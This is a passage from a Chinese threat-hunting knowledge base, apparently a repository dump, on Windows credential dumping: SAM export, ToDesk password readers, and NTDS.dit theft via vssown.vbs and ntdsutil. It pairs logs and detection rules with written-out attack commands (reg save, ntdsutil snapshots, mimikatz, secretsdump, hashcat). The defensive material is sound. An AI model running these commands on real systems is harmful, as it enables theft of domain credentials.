创建者进程名称:C:\\Windows\\System32\\cmd.exe\n  ```\n\n### Sysmon日志\n- 事件ID1：\n  ```\n  事件ID:1\n  OriginalFileName:reg.exe\n  CommandLine:reg save HKLM\\SAM C:\\Temp\\sam.hiv\n  CurrentDirectory:C:\\Users\\admin\\Desktop\\\n  User:WIN-SERVER\\admin\n  Hashes:SHA1=1A2B3C4D5E6F7A8B9C0D1E2F3A4B5C6D7E8F9A0B\n  ParentImage:C:\\Windows\\System32\\cmd.exe\n  ```\n  ```\n  事件ID:1\n  OriginalFileName:reg.exe\n  CommandLine:reg save HKLM\\SYSTEM C:\\Temp\\system.hiv\n  CurrentDirectory:C:\\Users\\admin\\Desktop\\\n  User:WIN-SERVER\\admin\n  Hashes:SHA1=1A2B3C4D5E6F7A8B9C0D1E2F3A4B5C6D7E8F9A0B\n  ParentImage:C:\\Windows\\System32\\cmd.exe\n  ```\n- 事件ID11：\n  ```\n  事件ID:11\n  Image:C:\\Windows\\System32\\reg.exe\n  TargetFilename:C:\\Temp\\sam.hiv\n  ```\n  ```\n  事件ID:11\n  Image:C:\\Windows\\System32\\reg.exe\n  TargetFilename:C:\\Temp\\system.hiv\n  ```\n\n## 检测规则/思路\n\n### 检测方法\n1. 进程监控：\n   - 检测`reg.exe`的执行，尤其是`save`操作针对`HKLM\\SAM`或`HKLM\\SYSTEM`。\n   - 检测`copy.exe`访问`C:\\Windows\\System32\\config\\SAM`或`SYSTEM`。\n2. 命令行分析：\n   - 正则表达式匹配：\n     ```regex\n     reg\\.exe\\s+save\\s+hklm\\\\(sam|system)\\s+.*\\.hiv\n     ```\n     ```regex\n     copy\\.exe\\s+.*config\\\\(SAM|SYSTEM)\\s+.*\\.hiv\n     ```\n3. 文件监控：\n   - 检测非系统路径下的`.hiv`文件创建。\n   - 监控对`C:\\Windows\\System32\\config\\`的异常访问。\n4. 行为分析：\n   - 检测`mimikatz.exe`或类似工具的执行。\n   - 检测导出的`.hiv`文件被异常程序访问。\n\n### Sigma规则\n优化后的Sigma规则，增强误报过滤：\n```yaml\ntitle: 本地导出SAM或SYSTEM注册表配置单元\nid: 6e7f8a0b-9c1d-2e3f-4a5b-6c7d8e9f0a1b\ndescription: 检测reg.exe导出SAM或SYSTEM注册表配置单元，可能用于离线凭证提取\nstatus: experimental\nreferences:\n  - https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump\ntags:\n  - attack.credential_access\n  - attack.t1003.002\nlogsource:\n  product: windows\n  service: sysmon\ndetection:\n  selection:\n    EventID: 1\n    Image|endswith: '\\reg.exe'\n    CommandLine|contains:\n      - 'save hklm\\sam'\n      - 'save hklm\\system'\n  filter_legitimate:\n    CommandLine|contains:\n      - 'C:\\Program Files\\'\n      - 'C:\\Program Files (x86)\\'\n  condition: selection and not filter_legitimate\nfields:\n  - Image\n  - CommandLine\n  - ParentImage\n  - User\nfalsepositives:\n  - 合法的系统备份操作\nlevel: high\n```\n\n规则说明：\n- 目标：检测`reg.exe`导出SAM或SYSTEM配置单元的行为。\n- 过滤：排除开发或备份目录中的合法操作。\n- 日志来源：Sysmon事件ID1。\n- 误报处理：系统备份可能触发，需结合目录和后续行为分析。\n- 级别：标记为“高”优先级，因SAM导出通常与凭证窃取相关。\n\n### Splunk规则\n```spl\nindex=windows source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\"\n(EventCode=1 Image=\"*\\reg.exe\" CommandLine IN (\"*save hklm\\sam*\",\"*save hklm\\system*\"))\nOR (EventCode=11 FileName=\"*.hiv\" TargetFilename=\"*\\reg.exe\")\nOR (EventCode=1 Image=\"*\\mimikatz.exe\" CommandLine=\"*lsadump::sam*\")\n| fields Image,CommandLine,ParentImage,User,TargetFilename\n```\n\n规则说明：\n- 检测`reg.exe`导出行为、生成的`.hiv`文件和Mimikatz的执行。\n- 减少误报：结合文件路径和工具使用行为分析。\n\n### 检测挑战\n- 误报：合法备份操作可能触发，需建立备份行为基线。\n- 日志依赖：默认日志可能不记录完整命令行，需部署Sysmon或增强日志策略。\n- SYSTEM权限要求：检测需重点关注提权行为。\n\n## 防御建议\n1. 监控和日志：\n   - 启用命令行审计策略，确保事件ID4688记录完整参数。\n   - 部署Sysmon，配置针对`reg.exe`和`mimikatz.exe`的规则，监控文件创建和注册表访问。\n2. 权限控制：\n   - 限制普通用户对`HKLM\\SAM`和`C:\\Windows\\System32\\config\\`的访问。\n   - 监控SYSTEM权限的异常使用。\n3. 文件保护：\n   - 启用文件完整性监控，检测对SAM和SYSTEM文件的异常访问。\n   - 定期备份SAM和SYSTEM文件到安全位置。\n4. 禁用LM哈希：\n   - 配置组策略禁用LM哈希存储（路径：`计算机配置>Windows设置>安全设置>本地策略>安全选项>网络安全:不要存储LAN管理器哈希值`）。\n5. 安全更新：\n   - 保持Windows系统更新，修复潜在漏洞。\n\n## 参考推荐\n- MITREATT&CKT1003.002:  \n  <https://attack.mitre.org/techniques/T1003/002/>\n- pwdump7:  \n  <http://passwords.openwall.net/b/pwdump/pwdump7.zip>\n- PowerShellInvoke-PowerDump:  \n  <https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-PowerDump.ps1>\n- MimikatzWiki:  \n  <https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump>\n- 通过SAM数据库获取本地用户哈希:  \n  <https://www.4hou.com/technology/10878.html>\n- Sysmon配置与检测:  \n  <https://github.com/SwiftOnSecurity/sysmon-config>\n- Mimikatz:用于凭证提取的工具。  \n  <https://github.com/gentilkiwi/mimikatz>\n"
  },
  {
    "path": "Windows/08凭证访问/T1003.003-Win-ToDesk_向日葵密码读取.md",
    "content": "# T1003.003-Win-ToDesk/向日葵密码读取\n\n## 描述\n\n凭证获取是从操作系统和软件中获取登录信息和密码的过程，通常为HASH散列或明文密码。然后使用凭证进行横向移动访问其他系统。可通过T00ls论坛公布的工具，进行测试。\n\n本次选取的测试工具如下：\n\n<https://www.t00ls.com/viewthread.php?tid=72447&highlight=todesk>\n\n<https://github.com/flydyyg/readTdose-xiangrikui>\n\n## 测试案例\n\nBypassAvGetToDeskInfo.exe\n\n## 检测日志\n\nWindows 安全日志\n\n## 测试复现\n\n测试环境：Windows10专业版 Todesk V4.7.4.8\n\n### 测试一：BypassAvGetToDeskInfo.exe\n\n测试环境下准备该工具，登录todesk账号密码：\n\n<img width=\"961\" alt=\"image\" src=\"https://github.com/user-attachments/assets/e7d52e42-63e6-47d8-8cb8-eb1fa947e367\">\n\n### 测试二：readTdose-xiangrikui\n\n通过Github下载该工具，对go文件进行编译，编译后放在Windows10环境下执行即可。\n\n<img width=\"962\" alt=\"image\" src=\"https://github.com/user-attachments/assets/69672c4e-5dc4-441d-9716-d2561cb9c3fc\">\n\n## 测试留痕\n\n### 测试一留痕\n\n<img width=\"1120\" alt=\"image\" src=\"https://github.com/user-attachments/assets/869fe8a7-8c4e-4a47-a808-50651b26ba90\">\n\n<img width=\"1119\" alt=\"image\" src=\"https://github.com/user-attachments/assets/5d9ec78e-3c30-41ff-8efb-ae1cd1c24e82\">\n\n<img width=\"1108\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9ccd12cc-b1dd-473d-a04b-bbcc104656fd\">\n\n<img width=\"1104\" alt=\"image\" src=\"https://github.com/user-attachments/assets/676e472c-698a-4fee-bea0-49fa7024e2d0\">\n\n在程序执行后，4688事件多次出现，可重点关注进程cdb.exe、conhost.exe以及进程命令行参数。\n\n### 测试二留痕\n\n<img width=\"1118\" alt=\"image\" src=\"https://github.com/user-attachments/assets/11d498d2-1941-4757-9c57-0fc0d885baeb\">\n\n<img width=\"1116\" alt=\"image\" src=\"https://github.com/user-attachments/assets/ae79df19-517a-45b9-92c9-b64ab270a227\">\n\n通过Windows安全日志未观测到具体留痕信息。\n\n## 检测规则/思路\n\n### sigma规则\n\n```yml\ntitle: 使用BypassAvGetToDeskInfo获取todesk账号密码\ndescription: Windows10\nstatus: experimental\nauthor: 0x783kb\nlogsource:\n    product: Windows\n    service: Security\ndetection:\n    selection:\n        CommandLine: '*/cdb.exe -pv -p * -c *'\n        NewProcessName: '*/cdb.exe'\n    condition: selection\n```\n\n## 参考推荐\n\n- MITRE-ATT&CK-T1003  \n  <https://attack.mitre.org/techniques/T1003/>\n- 免杀-ToDesk密码查看工具  \n  <https://www.t00ls.com/viewthread.php?tid=72447&highlight=todesk>\n- 一键读取Todesk和向日葵密码  \n  <https://www.t00ls.com/viewthread.php?tid=72452&highlight=todesk>\n\n\n\n\n\n\n\n\n\n"
  },
  {
    "path": "Windows/08凭证访问/T1003.003-Win-vssown.vbs获取NTDS.dit.md",
    "content": "# T1003.003-Win-使用vssown.vbs获得NTDS.dit文件\n\n## 描述\n\n凭据转储（Credential Dumping，MITRE ATT&CK T1003.003）涉及攻击者通过访问或创建Active Directory（AD）域数据库副本（NTDS.dit）窃取凭据信息。NTDS.dit是AD的核心数据库，存储用户、组、密码哈希（NTLM）等信息，默认位于域控制器（DC）的`%SystemRoot%\\NTDS\\Ntds.dit`路径。攻击者可利用卷影复制（Volume Shadow Copy，VSS）技术或工具（如vssown.vbs、ntdsutil.exe）提取NTDS.dit，随后使用secretsdump.py或Mimikatz离线解析哈希。此技术需域管理员权限，通常用于窃取域内所有用户凭据，导致域环境沦陷。\n\n## 测试案例\n\n### 测试环境\n- 域控制器：Windows Server 2016/2019（dc.abcc.org）\n- 工具：vssown.vbs、Mimikatz（可选，离线解析）\n- 要求：域管理员权限、域环境（abcc.org）、启用Sysmon和Windows安全日志审计\n- 用户：Administrator（测试账户）\n- 日志：Sysmon（事件ID1、11）、Windows安全日志（事件ID4688、4904、8222）\n\n### 测试准备\n1. 确认域管理员权限：\n   ```cmd\n   whoami /groups\n   ```\n   - 确保包含`Domain Admins`组。\n2. 启用日志审计：\n   - 组策略：计算机配置 > 策略 > Windows设置 > 安全设置 > 本地策略 > 审核策略 > 进程跟踪、对象访问 > 启用成功和失败审计。\n   - 安装Sysmon：<https://docs.microsoft.com/sysinternals/downloads/sysmon>\n     - 配置：启用事件ID1（进程创建）、11（文件操作）。\n3. 下载vssown.vbs：\n   - URL：<https://raw.githubusercontent.com/borigue/ptscripts/master/windows/vssown.vbs>\n   - 放置于域控制器（C:\\Tools\\vssown.vbs）。\n4. 验证VSS服务状态：\n   ```cmd\n   sc query vss\n   ```\n   - 确保服务可运行。\n5. 确保NTDS.dit存在：\n   ```cmd\n   dir %SystemRoot%\\NTDS\\ntds.dit\n   ```\n\n### 测试步骤\n1. **启动VSS服务**：\n   ```cmd\n   cscript C:\\Tools\\vssown.vbs /start\n   ```\n   - 输出：`[*] Signal sent to start the VSS service.`\n2. **创建卷影副本**：\n   ```cmd\n   cscript C:\\Tools\\vssown.vbs /create c\n   ```\n   - 输出：`[*] Attempting to create a shadow copy.`\n3. **列出卷影副本**：\n   ```cmd\n   cscript C:\\Tools\\vssown.vbs /list\n   ```\n   - 输出示例：\n     ```\n     [*] Device object: \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\n     ```\n4. **复制NTDS.dit**：\n   ```cmd\n   copy \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\\windows\\ntds\\ntds.dit C:\\Temp\\ntds.dit\n   ```\n   - 输出：`已复制 1 个文件。`\n5. **删除卷影副本**：\n   ```cmd\n   cscript C:\\Tools\\vssown.vbs /delete\n   ```\n   - 输出：`[*] Attempting to delete shadow copies.`\n6. **离线解析NTDS.dit**（可选）：\n   - 使用Mimikatz：\n     ```cmd\n     mimikatz.exe \"lsadump::lsa /ntdsfile:C:\\Temp\\ntds.dit\" exit\n     ```\n     - 输出示例：\n       ```\n       * Username: Administrator\n       * NTLM: 31d6cfe0d16ae931b73c59d7e0c089c0\n       ```\n\n### 参考资源\n- vssown.vbs：<https://raw.githubusercontent.com/borigue/ptscripts/master/windows/vssown.vbs>\n- NTDS.dit提取：<https://xz.aliyun.com/t/2187>\n- MITRE ATT&CK T1003.003：<https://attack.mitre.org/techniques/T1003/003/>\n\n## 检测日志\n\n### 数据来源\n- **Windows安全日志**（域控制器）：\n  - 事件ID4688：进程创建（cscript.exe）\n  - 事件ID4904：安全事件源注册（VSSAudit）\n  - 事件ID8222：卷影副本创建\n  - 事件ID4905：安全事件源取消注册（VSSAudit）\n- **Sysmon日志**：\n  - 事件ID1：进程创建（cscript.exe、vssown.vbs）\n  - 事件ID11：文件操作（ntds.dit复制）\n- **文件系统**：\n  - 监控`C:\\Temp\\`或`%temp%`的`ntds.dit`文件创建\n- **网络流量**（可选）：\n  - 捕获`ntds.dit`文件传输（SMB 445/TCP）\n\n\n## 测试复现\n\n### 环境配置\n- 域控制器：Windows Server 2019（dc.abcc.org）\n- 工具：vssown.vbs\n- 用户：Administrator（Domain Admins成员）\n- 日志：Sysmon（事件ID1、11）、Windows安全日志\n- 路径：C:\\Temp\\\n\n### 复现步骤\n1. **启动VSS服务**：\n   ```cmd\n   cscript C:\\Tools\\vssown.vbs /start\n   ```\n   - 输出：`[*] Signal sent to start the VSS service.`\n2. **创建卷影副本**：\n   ```cmd\n   cscript C:\\Tools\\vssown.vbs /create c\n   ```\n   - 输出：`[*] Attempting to create a shadow copy.`\n3. **列出卷影副本**：\n   ```cmd\n   cscript C:\\Tools\\vssown.vbs /list\n   ```\n   - 输出：\n     ```\n     [*] Device object: \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\n     ```\n4. **复制NTDS.dit**：\n   ```cmd\n   copy \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\\windows\\ntds\\ntds.dit C:\\Temp\\ntds.dit\n   ```\n   - 输出：`已复制 1 个文件。`\n5. **删除卷影副本**：\n   ```cmd\n   cscript C:\\Tools\\vssown.vbs /delete\n   ```\n   - 输出：`[*] Attempting to delete shadow copies.`\n6. **验证日志**：\n   - 检查事件ID8222（卷影副本创建）。\n   - 检查Sysmon事件ID11（ntds.dit复制）。\n\n## 测试留痕\n\n### Windows安全日志\n- **事件ID4688**：\n  ```xml\n  <Event>\n    <EventData>\n      <Data Name=\"ProcessName\">C:\\Windows\\System32\\cscript.exe</Data>\n      <Data Name=\"CommandLine\">cscript C:\\Tools\\vssown.vbs /create c</Data>\n      <Data Name=\"SubjectUserName\">Administrator</Data>\n    </EventData>\n  </Event>\n  ```\n- **事件ID8222**：\n  ```xml\n  <Event>\n    <EventData>\n      <Data Name=\"ProcessImageName\">C:\\Windows\\System32\\wbem\\WmiPrvSE.exe</Data>\n      <Data Name=\"ShadowDeviceName\">\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1</Data>\n    </EventData>\n  </Event>\n  ```\n\n### Sysmon日志\n- **事件ID1**：\n  ```xml\n  <Event>\n    <EventData>\n      <Data Name=\"Image\">C:\\Windows\\System32\\cscript.exe</Data>\n      <Data Name=\"CommandLine\">cscript C:\\Tools\\vssown.vbs /create c</Data>\n      <Data Name=\"User\">ABCC\\Administrator</Data>\n    </EventData>\n  </Event>\n  ```\n- **事件ID11**：\n  ```xml\n  <Event>\n    <EventData>\n      <Data Name=\"TargetFilename\">C:\\Temp\\ntds.dit</Data>\n      <Data Name=\"Image\">C:\\Windows\\System32\\cmd.exe</Data>\n      <Data Name=\"User\">ABCC\\Administrator</Data>\n    </EventData>\n  </Event>\n  ```\n\n### 文件系统\n- 文件：`C:\\Temp\\ntds.dit`\n\n### 日志样本\n- 下载：<https://github.com/12306Bro/Threathunting-book/blob/master/Eventdata/vssown.evtx>\n\n## 检测规则/思路\n\n### 检测方法\n1. **日志监控**：\n   - Windows事件ID4688：检测`cscript.exe`执行vssown.vbs。\n   - Windows事件ID8222：捕获卷影副本创建。\n   - Sysmon事件ID11：监控`ntds.dit`文件复制。\n2. **文件监控**：\n   - 审计`C:\\Temp\\`或`%temp%`的`ntds.dit`文件创建。\n   - 监控`ntds.dit`文件传输。\n3. **行为分析**：\n   - 检测非预期VSS服务启动或卷影副本创建。\n   - 监控短时间内多次`cscript.exe`执行vbs脚本。\n4. **网络监控**：\n   - 捕获`ntds.dit`文件传输（SMB 445/TCP）。\n   - 示例Snort规则：\n     ```snort\n     alert tcp any any -> any 445 (msg:\"NTDS.dit SMB Transfer\"; content:\"ntds.dit\"; sid:1000006;)\n     ```\n5. **关联分析**：\n   - 结合事件ID4904和4905，检测VSSAudit事件。\n   - 监控后续Mimikatz解析行为（事件ID1，`mimikatz.exe`）。\n\n### Sigma规则\n#### 规则一：vssown.vbs执行检测\n```yaml\ntitle: vssown.vbs执行检测\nid: r8s9t0u1-2v3w-4x5y-mz4n-1o2p3q4r5s6t\nstatus: stable\ndescription: 检测cscript.exe执行vssown.vbs操作卷影副本\nreferences:\n  - https://attack.mitre.org/techniques/T1003/003/\ntags:\n  - attack.credential_access\n  - attack.t1003.003\nlogsource:\n  product: windows\n  service: security\ndetection:\n  selection:\n    EventID: 4688\n    ProcessName|endswith: '\\cscript.exe'\n    CommandLine|contains:\n      - 'vssown.vbs /start'\n      - 'vssown.vbs /create'\n      - 'vssown.vbs /delete'\n      - 'vssown.vbs /list'\n  condition: selection\nfields:\n  - EventID\n  - ProcessName\n  - CommandLine\n  - SubjectUserName\nfalsepositives:\n  - 管理员合法备份操作\nlevel: high\n```\n\n#### 规则二：卷影副本创建检测\n```yaml\ntitle: 卷影副本创建检测\nid: s9t0u1v2-3w4x-5y6z-na5o-2p3q4r5s6t7u\nstatus: stable\ndescription: 检测VSS服务创建卷影副本可能提取NTDS.dit\nreferences:\n  - https://attack.mitre.org/techniques/T1003/003/\ntags:\n  - attack.credential_access\n  - attack.t1003.003\nlogsource:\n  product: windows\n  service: security\ndetection:\n  selection1:\n    EventID: 4904\n    ProcessName|endswith: '\\VSSVC.exe'\n    SourceName: 'VSSAudit'\n  selection2:\n    EventID: 8222\n    ProcessImageName|endswith: '\\WmiPrvSE.exe'\n    ShadowDeviceName|contains: '\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy'\n  selection3:\n    EventID: 4905\n    ProcessName|endswith: '\\VSSVC.exe'\n    SourceName: 'VSSAudit'\n  timeframe: 10s\n  condition: selection1 and selection2 and selection3\nfields:\n  - EventID\n  - ProcessName\n  - ShadowDeviceName\n  - SourceName\nfalsepositives:\n  - 合法备份或快照操作\nlevel: medium\n```\n\n### Splunk规则\n```spl\nindex=windows source=\"WinEventLog:Security\"\n(EventCode=4688 ProcessName=\"*cscript.exe\" CommandLine IN (\"*vssown.vbs /start*\",\"*vssown.vbs /create*\",\"*vssown.vbs /delete*\",\"*vssown.vbs /list*\")\nOR (EventCode=4904 ProcessName=\"*VSSVC.exe\" SourceName=\"VSSAudit\")\nOR (EventCode=8222 ProcessImageName=\"*WmiPrvSE.exe\" ShadowDeviceName=\"*HarddiskVolumeShadowCopy*\")\nOR (EventCode=4905 ProcessName=\"*VSSVC.exe\" SourceName=\"VSSAudit\"))\n| transaction maxspan=10s\n| fields EventCode,ProcessName,CommandLine,ShadowDeviceName,SourceName\n```\n\n规则说明：\n- 检测vssown.vbs的`cscript.exe`执行和VSS卷影副本创建。\n- 使用10秒时间窗口关联事件，降低误报。\n\n## 防御建议\n1. **权限控制**：\n   - 限制域管理员账户使用，仅授权必要人员。\n   - 禁止非管理员访问`%SystemRoot%\\NTDS\\ntds.dit`。\n2. **日志监控**：\n   - 部署Sysmon，启用事件ID1、11。\n   - 启用事件ID4688、4904、8222、4905审计。\n   - 使用SIEM关联VSS操作和文件复制事件。\n3. **文件保护**：\n   - 配置NTDS.dit访问控制列表（ACL），限制非SYSTEM账户访问。\n   - 监控`ntds.dit`文件的异常复制或传输。\n4. **VSS限制**：\n   - 限制VSS服务非预期启动（组策略）。\n   - 监控卷影副本创建频率。\n5. **主动防御**：\n   - 部署诱捕账户，监控NTDS.dit访问。\n   - 使用EDR检测vssown.vbs或Mimikatz行为。\n\n## 参考推荐\n- MITRE ATT&CK T1003.003:  \n  <https://attack.mitre.org/techniques/T1003/003/>\n- 域渗透-NTDS.dit提取:  \n  <https://xz.aliyun.com/t/2187>\n- vssown.vbs源码:  \n  <https://raw.githubusercontent.com/borigue/ptscripts/master/windows/vssown.vbs>\n- Mimikatz文档:  \n  <https://github.com/gentilkiwi/mimikatz>\n- Sysmon配置指南:  \n  <https://github.com/SwiftOnSecurity/sysmon-config>\n- MITRE ATT&CK中文版:  \n  <https://hansight.github.io/#/>"
  },
  {
    "path": "Windows/08凭证访问/T1003.003-Win-使用Ntdsutil获得NTDS.dit文件.md",
    "content": "# T1003.003-使用Ntdsutil获得NTDS.dit文件\n\n## 描述\n\n攻击者可能尝试访问或创建ActiveDirectory域数据库（NTDS.dit）的副本，以窃取凭据信息（如密码哈希）并获取域成员（设备、用户、访问权限）的信息。NTDS.dit是存储ActiveDirectory数据的核心数据库，包含域用户、组及其密码哈希（NTLM哈希），默认位于域控制器（DC）的`%SystemRoot%\\NTDS\\ntds.dit`（通常为`C:\\Windows\\NTDS\\ntds.dit`）。访问该文件需域管理员权限或物理访问权限。\n\n攻击者可通过以下工具和技术提取NTDS.dit：\n- **Ntdsutil.exe**：Windows内置工具，创建NTDS.dit快照。\n- **卷影副本（VolumeShadowCopy）**：通过VSS复制NTDS.dit。\n- **Secretsdump.py**：离线提取哈希。\n- **PWPR（Passcape Windows Password Recovery）**：结合ntdsutil提取哈希。\n\n提取的哈希可用于密码破解或传递哈希攻击，导致域环境沦陷。`ntdsutil`提供快照功能，允许攻击者挂载并复制NTDS.dit文件。\n\n## 测试案例\n\n### 测试案例1：在域控制器上使用ntdsutil创建NTDS.dit快照\n通过`ntdsutil.exe`创建快照并复制NTDS.dit文件。\n\n**步骤**：\n1. **创建快照**：\n   ```cmd\n   ntdsutil snapshot \"activate instance ntds\" create quit quit\n   ```\n   - 输出快照GUID，例如`{a1b2c3d4-e5f6-4a7b-8c9d-0e1f2a3b4c5d}`。\n\n2. **挂载快照**：\n   ```cmd\n   ntdsutil snapshot \"mount {a1b2c3d4-e5f6-4a7b-8c9d-0e1f2a3b4c5d}\" quit quit\n   ```\n\n3. **复制NTDS.dit**：\n   ```cmd\n   copy C:\\$SNAP_201212082315_VOLUMEC$\\windows\\NTDS\\ntds.dit C:\\Temp\\ntds.dit\n   ```\n   - 注意路径大小写，`VOLUMEC`为快照卷名，需根据实际环境调整。\n\n4. **卸载快照**：\n   ```cmd\n   ntdsutil snapshot \"unmount {a1b2c3d4-e5f6-4a7b-8c9d-0e1f2a3b4c5d}\" quit quit\n   ```\n\n5. **删除快照**：\n   ```cmd\n   ntdsutil snapshot \"delete {a1b2c3d4-e5f6-4a7b-8c9d-0e1f2a3b4c5d}\" quit quit\n   ```\n\n- **说明**：\n  - 需结合PWPR或Secretsdump提取哈希。\n- **权限**：域管理员或Administrators组权限。\n- **支持系统**：WindowsServer2008及以上。\n\n### 测试案例2：结合PWPR提取哈希\n使用Passcape Windows Password Recovery处理NTDS.dit。\n\n**步骤**：\n1. 将`C:\\Temp\\ntds.dit`复制到攻击机。\n2. 运行PWPR，加载NTDS.dit并提取NTLM哈希。\n\n- **说明**：\n  - PWPR需提供SYSTEM注册表配置单元以解密哈希。\n\n## 检测日志\n\n### 数据来源\n- Windows安全日志：\n  - 事件ID4688：进程创建，记录`ntdsutil.exe`的执行信息。\n- Sysmon日志：\n  - 事件ID1：进程创建，包含命令行、哈希值和父进程。\n  - 事件ID11：文件创建，记录导出的NTDS.dit文件。\n  - 事件ID13：注册表修改，记录对`HKLM\\SYSTEM`的访问。\n- 文件监控：\n  - 检测非系统路径下的NTDS.dit文件。\n- 网络监控：\n  - 检测NTDS.dit文件通过SMB或HTTP传输。\n\n## 测试复现\n\n### 环境准备\n- 攻击机：KaliLinux2019\n- 靶机：WindowsServer2012（域控制器，安装ActiveDirectory）\n- 工具：\n  - Mimikatz或Secretsdump.py（哈希提取）\n  - PWPR（可选，哈希提取）\n  - Sysmon（可选，日志收集）\n\n### 攻击分析\n\n#### 测试1：使用ntdsutil创建并复制NTDS.dit\n1. **获取域管理员权限**：\n   - 使用Metasploit提权或已有域管理员账户登录：\n   ```cmd\n   whoami /priv\n   ```\n\n2. **创建快照**：\n   ```cmd\n   ntdsutil snapshot \"activate instance ntds\" create quit quit\n   ```\n   - 记录返回的快照GUID。\n\n3. **挂载快照**：\n   使用返回的GUID挂载快照：\n   ```cmd\n   ntdsutil snapshot \"mount {a1b2c3d4-e5f6-4a7b-8c9d-0e1f2a3b4c5d}\" quit quit\n   ```\n\n4. **复制NTDS.dit**：\n   ```cmd\n   copy C:\\$SNAP_201212082315_VOLUMEC$\\windows\\NTDS\\ntds.dit C:\\Temp\\ntds.dit\n   ```\n   - 调整`VOLUMEC`为实际卷影副本名称（可通过`dir`查看）。\n\n5. **卸载和删除快照**：\n   ```cmd\n   ntdsutil snapshot \"unmount {a1b2c3d4-e5f6-4a7b-8c9d-0e1f2a3b4c5d}\" quit quit\n   ntdsutil snapshot \"delete {a1b2c3d4-e5f6-4a7b-8c9d-0e1f2a3b4c5d}\" quit quit\n   ```\n\n6. **提取哈希**：\n   使用Secretsdump：\n   ```bash\n   secretsdump.py -ntds C:\\Temp\\ntds.dit -system C:\\Windows\\System32\\config\\SYSTEM LOCAL\n   ```\n   - 示例输出：\n     ```\n     Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::\n     user1:1001:aad3b435b51404eeaad3b435b51404ee:a2345375a47a92754e2505132aca194b:::\n     ```\n\n7. **破解哈希**：\n   使用Hashcat：\n   ```bash\n   hashcat -m 1000 -a 0 ntlm_hashes.txt wordlist.txt\n   ```\n\n8. **结果分析**：\n   - 成功：提取域用户哈希，可用于密码破解或传递哈希攻击。\n   - 失败可能：\n     - 权限不足。\n     - 快照创建失败（需检查VSS服务）。\n     - 文件路径错误。\n\n\n![ntds1](https://s2.ax1x.com/2019/12/26/lAeIM9.png)\n\n![ntds2](https://s2.ax1x.com/2019/12/26/lAeOPO.png)\n\n## 测试留痕\n\n### Windows安全日志\n- 事件ID4688：\n  ```\n  进程信息:\n    新进程ID:0x1234\n    新进程名称:C:\\Windows\\System32\\ntdsutil.exe\n    命令行:ntdsutil snapshot \"activate instance ntds\" create quit quit\n    创建者进程名称:C:\\Windows\\System32\\cmd.exe\n  ```\n  ```\n  进程信息:\n    新进程ID:0x5678\n    新进程名称:C:\\Windows\\System32\\ntdsutil.exe\n    命令行:ntdsutil snapshot \"mount {a1b2c3d4-e5f6-4a7b-8c9d-0e1f2a3b4c5d}\" quit quit\n    创建者进程名称:C:\\Windows\\System32\\cmd.exe\n  ```\n\n![event_log](https://s2.ax1x.com/2019/12/26/lAuVDs.png)\n\n### Sysmon日志\n- 事件ID1：\n  ```\n  事件ID:1\n  OriginalFileName:ntdsutil.exe\n  CommandLine:ntdsutil snapshot \"activate instance ntds\" create quit quit\n  CurrentDirectory:C:\\Users\\admin\\\n  User:DOMAIN\\admin\n  Hashes:SHA1=1A2B3C4D5E6F7A8B9C0D1E2F3A4B5C6D7E8F9A0B\n  ParentImage:C:\\Windows\\System32\\cmd.exe\n  ```\n- 事件ID11：\n  ```\n  事件ID:11\n  Image:C:\\Windows\\System32\\ntdsutil.exe\n  TargetFilename:C:\\Temp\\ntds.dit\n  ```\n\n### Windows应用日志\n- 事件ID2005：\n  ```\n  来源:Microsoft-Windows-ESE\n  事件ID:2005\n  消息:lsass(508)卷影复制实例1正在启动。这将是一次完整的卷影复制。\n  ```\n- 事件ID216：\n  ```\n  来源:Microsoft-Windows-ESE\n  事件ID:216\n  消息:lsass(508)检测到数据库位置从“C:\\Windows\\NTDS\\ntds.dit”更改为“\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\\Windows\\NTDS\\ntds.dit”。\n  ```\n\n## 检测规则/思路\n\n### 检测方法\n1. 进程监控：\n   - 检测`ntdsutil.exe`的执行，尤其是`snapshot`、`mount`、`unmount`或`delete`参数。\n2. 命令线分析：\n   - 正则表达式匹配：\n     ```regex\n     ntdsutil\\.exe.*snapshot.*(activate\\s+instance|mount|unmount|delete|create)\n     ```\n3. 文件监控：\n   - 检测非系统路径下的NTDS.dit文件。\n   - 监控对`C:\\Windows\\NTDS\\ntds.dit`的异常访问。\n4. 应用日志分析：\n   - 检测卷影副本相关事件（2001、2003、2005、2006、216、300、302）。\n5. 行为分析：\n   - 检测`secretsdump.py`或PWPR对NTDS.dit的访问。\n   - 检测导出的NTDS.dit文件被异常程序处理。\n\n### Sigma规则\n优化后的Sigma规则，增强误报过滤：\n```yaml\ntitle: 使用ntdsutil创建NTDS.dit快照\nid: 3b4c5d6e-7f8a-9b0c-1d2e-3f4a5b6c7d8e\ndescription: 检测ntdsutil.exe创建快照或操作NTDS.dit，可能用于凭证窃取\nstatus: experimental\nreferences:\n  - https://xz.aliyun.com/t/2187\ntags:\n  - attack.credential_access\n  - attack.t1003.003\nlogsource:\n  product: windows\n  service: sysmon\ndetection:\n  selection:\n    EventID: 1\n    Image|endswith: '\\ntdsutil.exe'\n    CommandLine|contains:\n      - 'snapshot'\n      - 'activate instance ntds'\n      - 'mount'\n      - 'unmount'\n      - 'delete'\n      - 'create'\n  filter_legitimate:\n    CommandLine|contains:\n      - 'C:\\Program Files\\'\n      - 'C:\\Program Files (x86)\\'\n  condition: selection and not filter_legitimate\nfields:\n  - Image\n  - CommandLine\n  - ParentImage\n  - User\nfalsepositives:\n  - 合法的域控制器备份操作\nlevel: high\n```\n\n规则说明：\n- 目标：检测`ntdsutil.exe`创建快照或操作NTDS.dit的行为。\n- 过滤：排除合法备份目录的操作。\n- 日志来源：Sysmon事件ID1。\n- 误报处理：备份操作可能触发，需结合上下文分析。\n- 